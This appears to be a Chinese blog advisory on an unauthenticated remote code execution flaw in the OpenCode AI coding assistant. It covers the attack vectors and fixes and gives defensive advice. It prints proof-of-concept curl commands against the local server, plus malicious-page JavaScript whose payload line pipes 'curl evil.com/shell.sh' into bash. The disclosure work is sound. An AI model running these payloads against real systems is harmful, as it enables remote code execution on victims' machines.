OpenCode 曝出高危 RCE 漏洞(CVE-2026-22812):AI 编程助手的安全警示

2026 年 5 月,开源 AI 编程助手 OpenCode 被曝出一个严重的未授权远程代码执行漏洞(CVE-2026-22812)。该漏洞影响 v1.1.10 之前的版本,攻击者无需任何认证即可在受害者机器上执行任意代码。对于正在使用或评估 AI 编程工具的站长和开发者来说,这是一个需要立即关注的安全事件。

漏洞概述

OpenCode 是一个开源的 AI 编程助手(npm 包名:opencode-ai),类似于 Claude Code、Cursor 等工具。安全研究人员发现,在 v1.1.10 之前的版本中,OpenCode 会在启动时自动、静默地开启一个 HTTP 服务器(默认端口 4096+),而且没有任何认证机制

这个服务器暴露了以下危险端点:

  • POST /session/:id/shell — 执行任意 Shell 命令
  • POST /pty — 创建交互式终端会话
  • GET /file/content — 读取任意文件

简单来说,只要 OpenCode 在运行,任何能连接到这个端口的客户端都能以当前用户的权限执行任意代码,而且用户完全看不到任何提示。

攻击向量分析

这个漏洞的攻击方式比想象中更可怕。根据安全研究人员的分析,存在以下几个攻击向量:

1. 网页攻击(v1.0.216 之前)

在 v1.0.216 之前,任何网站都可以通过 JavaScript 直接连接到本地的 OpenCode 服务器。攻击者只需在网页中嵌入一段代码,就能在访问者的机器上执行任意命令。这意味着你只要用浏览器打开了一个恶意网页,你的电脑就可能被入侵。

2. 本地进程利用(v1.1.10 之前)

即使修复了网页攻击的问题,v1.1.10 之前,本机上的任何进程都可以连接到 OpenCode 的服务器并执行命令。如果机器上运行着其他被入侵的服务,攻击者可以通过这些服务进一步利用 OpenCode。

3. CORS 策略缺陷

OpenCode 的 CORS 策略硬编码了 *.opencode.ai 为允许的来源。这意味着如果 opencode.ai 域名被攻陷,或者其子域名存在 XSS 漏洞,攻击者可以利用这个信任关系攻击所有启用了服务器的用户。

4. mDNS 局域网暴露

如果启用了 --mdns 参数,同一局域网内的任何设备都可以连接到 OpenCode 服务器,进一步扩大了攻击面。

PoC 验证代码

安全研究人员提供了概念验证代码。本地利用方式如下:

# 创建一个会话
API="http://127.0.0.1:4096"
SESSION=$(curl -s -X POST "$API/session"   -H "Content-Type: application/json"   -d '{}' | jq -r '.id')

# 通过会话执行任意命令
curl -s -X POST "$API/session/$SESSION/shell"   -H "Content-Type: application/json"   -d '{"agent":"build","command":"id > /tmp/pwned.txt"}'

在 v1.0.216 之前,网页攻击甚至更加简单:

// 恶意网页中的 JavaScript 代码
fetch('http://127.0.0.1:4096/session', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: '{}'
}).then(r => r.json()).then(s => {
  fetch(`http://127.0.0.1:4096/session/${s.id}/shell`, {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({
      agent: 'build',
      command: 'curl evil.com/shell.sh|bash'
    })
  })
});

修复状态

OpenCode 团队已经发布了修复版本,但值得注意的是,这些修复都是静默发布的,没有官方安全公告:

  • v1.0.216:修复了网页攻击向量(CORS 策略收紧)
  • v1.1.10:默认禁用服务器
  • 未修复:服务器启用时仍然无认证、无运行提示

对站长和开发者的建议

如果你正在使用 OpenCode 或任何类似的 AI 编程助手,建议采取以下措施:

  1. 立即更新到 v1.1.10 或更高版本
  2. 检查是否启用了 Web 服务器功能,如非必要请保持禁用
  3. 不要使用 --mdns 参数,除非你完全信任局域网内的所有设备
  4. 定期检查本地端口,使用 netstat -tlnpss -tlnp 查看是否有未知服务在监听
  5. 关注 AI 编程工具的安全动态,这类工具通常需要较高的系统权限,一旦出现漏洞影响范围很大

更深层的思考

这个事件暴露了 AI 编程工具的一个根本性安全问题:为了提供便利的本地开发体验,这些工具通常需要启动本地服务、读写文件系统、执行终端命令。但这些能力一旦暴露给未授权的访问,就会变成严重的安全隐患。

随着 AI 编程工具的普及,开发者和站长需要更加关注这类工具的安全配置。建议在选择 AI 编程助手时,优先考虑那些对安全问题有明确响应机制、定期发布安全更新、并且有清晰安全策略的项目。

来源:

© 版权声明
THE END
喜欢就支持一下吧
点赞8 分享
相关推荐
<p>菲尔兹奖得主、剑桥大学数学家Timothy Gowers近日在个人博客上分享了他使用ChatGPT 5.5 Pro的体验。令他惊讶的是,这款模型在一小时内连续攻克了多个博士级别的数学难题,展现出远超前代的推理能力。</p>

<h2>菲尔兹奖得主的实测</h2>

<p>Timothy Gowers是当代最有影响力的数学家之一,1998年获得菲尔兹奖,在组合数学和泛函分析领域有重要贡献。他在5月8日发布了一篇详细的博文,记录了自己测试ChatGPT 5.5 Pro推理能力的过程。</p>

<p>据Gowers描述,他给ChatGPT 5.5 Pro提出了多个需要深度推理的数学问题,这些问题的难度大致相当于数学博士资格考试或研究级别。让他印象深刻的是,模型不仅能够给出正确答案,还能提供完整的推理过程,包括:</p>

<ul>
<li>对问题的准确理解</li>
<li>合理的解题策略选择</li>
<li>严密的逻辑推导链</li>
<li>对特殊情况的处理</li>
</ul>

<h2>与前代模型的对比</h2>

<p>Gowers在博文中提到,之前版本的ChatGPT在处理类似难度的数学问题时,经常出现以下问题:</p>

<ul>
<li>推理链中途断裂,得出错误结论</li>
<li>混淆不同数学概念</li>
<li>在计算步骤中出错</li>
<li>无法识别问题的关键约束条件</li>
</ul>

<p>而ChatGPT 5.5 Pro在这些方面有了显著提升。Gowers认为,这一代模型的数学推理能力已经达到了”可以辅助专业数学研究”的水平。</p>

<h2>对普通用户意味着什么</h2>

<p>虽然菲尔兹奖级别的数学测试看起来离普通人很远,但ChatGPT 5.5 Pro展现出的推理能力提升,对日常使用也有实际影响:</p>

<ul>
<li><strong>编程辅助</strong>:更强的逻辑推理能力意味着在代码调试、算法设计等场景下能给出更准确的建议。</li>
<li><strong>数据分析</strong>:处理复杂的数据分析任务时,模型能更好地理解数据关系和统计方法。</li>
<li><strong>技术文档</strong>:在撰写技术文档、API文档等需要严密逻辑的内容时,输出质量更高。</li>
<li><strong>教育辅导</strong>:作为学习辅助工具,能提供更准确的解题思路和步骤讲解。</li>
</ul>

<h2>AI数学能力的里程碑</h2>

<p>ChatGPT 5.5 Pro的表现引发了AI社区的广泛讨论。有观点认为,这标志着大语言模型在形式推理领域取得了重要突破。也有研究者持谨慎态度,指出:</p>

<ul>
<li>单一数学家的主观测试不能替代系统性基准评估</li>
<li>模型可能在训练数据中见过类似题目</li>
<li>真正的数学创新(如提出新定理、发现新证明)仍然是AI的短板</li>
</ul>

<p>无论如何,AI在数学推理方面的进步速度是实实在在的。对于站长和开发者来说,善用AI的推理能力来辅助技术工作,已经是一个切实可行的选择。</p>

<blockquote>
<p><strong>来源:</strong></p>
<ul>
<li><a href=Timothy Gowers Blog – A Recent Experience with ChatGPT 5.5 Pro
  • OSCHINA – ChatGPT 5.5 Pro一小时攻克博士级数学难题
  • -枫选">

    菲尔兹奖得主、剑桥大学数学家Timothy Gowers近日在个人博客上分享了他使用ChatGPT 5.5 Pro的体验。令他惊讶的是,这款模型在一小时内连续攻克了多个博士级别的数学难题,展现出远超前代的推理能力。

    菲尔兹奖得主的实测

    Timothy Gowers是当代最有影响力的数学家之一,1998年获得菲尔兹奖,在组合数学和泛函分析领域有重要贡献。他在5月8日发布了一篇详细的博文,记录了自己测试ChatGPT 5.5 Pro推理能力的过程。

    据Gowers描述,他给ChatGPT 5.5 Pro提出了多个需要深度推理的数学问题,这些问题的难度大致相当于数学博士资格考试或研究级别。让他印象深刻的是,模型不仅能够给出正确答案,还能提供完整的推理过程,包括:

    • 对问题的准确理解
    • 合理的解题策略选择
    • 严密的逻辑推导链
    • 对特殊情况的处理

    与前代模型的对比

    Gowers在博文中提到,之前版本的ChatGPT在处理类似难度的数学问题时,经常出现以下问题:

    • 推理链中途断裂,得出错误结论
    • 混淆不同数学概念
    • 在计算步骤中出错
    • 无法识别问题的关键约束条件

    而ChatGPT 5.5 Pro在这些方面有了显著提升。Gowers认为,这一代模型的数学推理能力已经达到了”可以辅助专业数学研究”的水平。

    对普通用户意味着什么

    虽然菲尔兹奖级别的数学测试看起来离普通人很远,但ChatGPT 5.5 Pro展现出的推理能力提升,对日常使用也有实际影响:

    • 编程辅助:更强的逻辑推理能力意味着在代码调试、算法设计等场景下能给出更准确的建议。
    • 数据分析:处理复杂的数据分析任务时,模型能更好地理解数据关系和统计方法。
    • 技术文档:在撰写技术文档、API文档等需要严密逻辑的内容时,输出质量更高。
    • 教育辅导:作为学习辅助工具,能提供更准确的解题思路和步骤讲解。

    AI数学能力的里程碑

    ChatGPT 5.5 Pro的表现引发了AI社区的广泛讨论。有观点认为,这标志着大语言模型在形式推理领域取得了重要突破。也有研究者持谨慎态度,指出:

    • 单一数学家的主观测试不能替代系统性基准评估
    • 模型可能在训练数据中见过类似题目
    • 真正的数学创新(如提出新定理、发现新证明)仍然是AI的短板

    无论如何,AI在数学推理方面的进步速度是实实在在的。对于站长和开发者来说,善用AI的推理能力来辅助技术工作,已经是一个切实可行的选择。

    来源:

    菲尔兹奖得主、剑桥大学数学家Timothy Gowers近日在个人博客上分享了他使用ChatGPT 5.5 Pro的...

    3天前 54
    评论 抢沙发

    请登录后发表评论

      暂无评论内容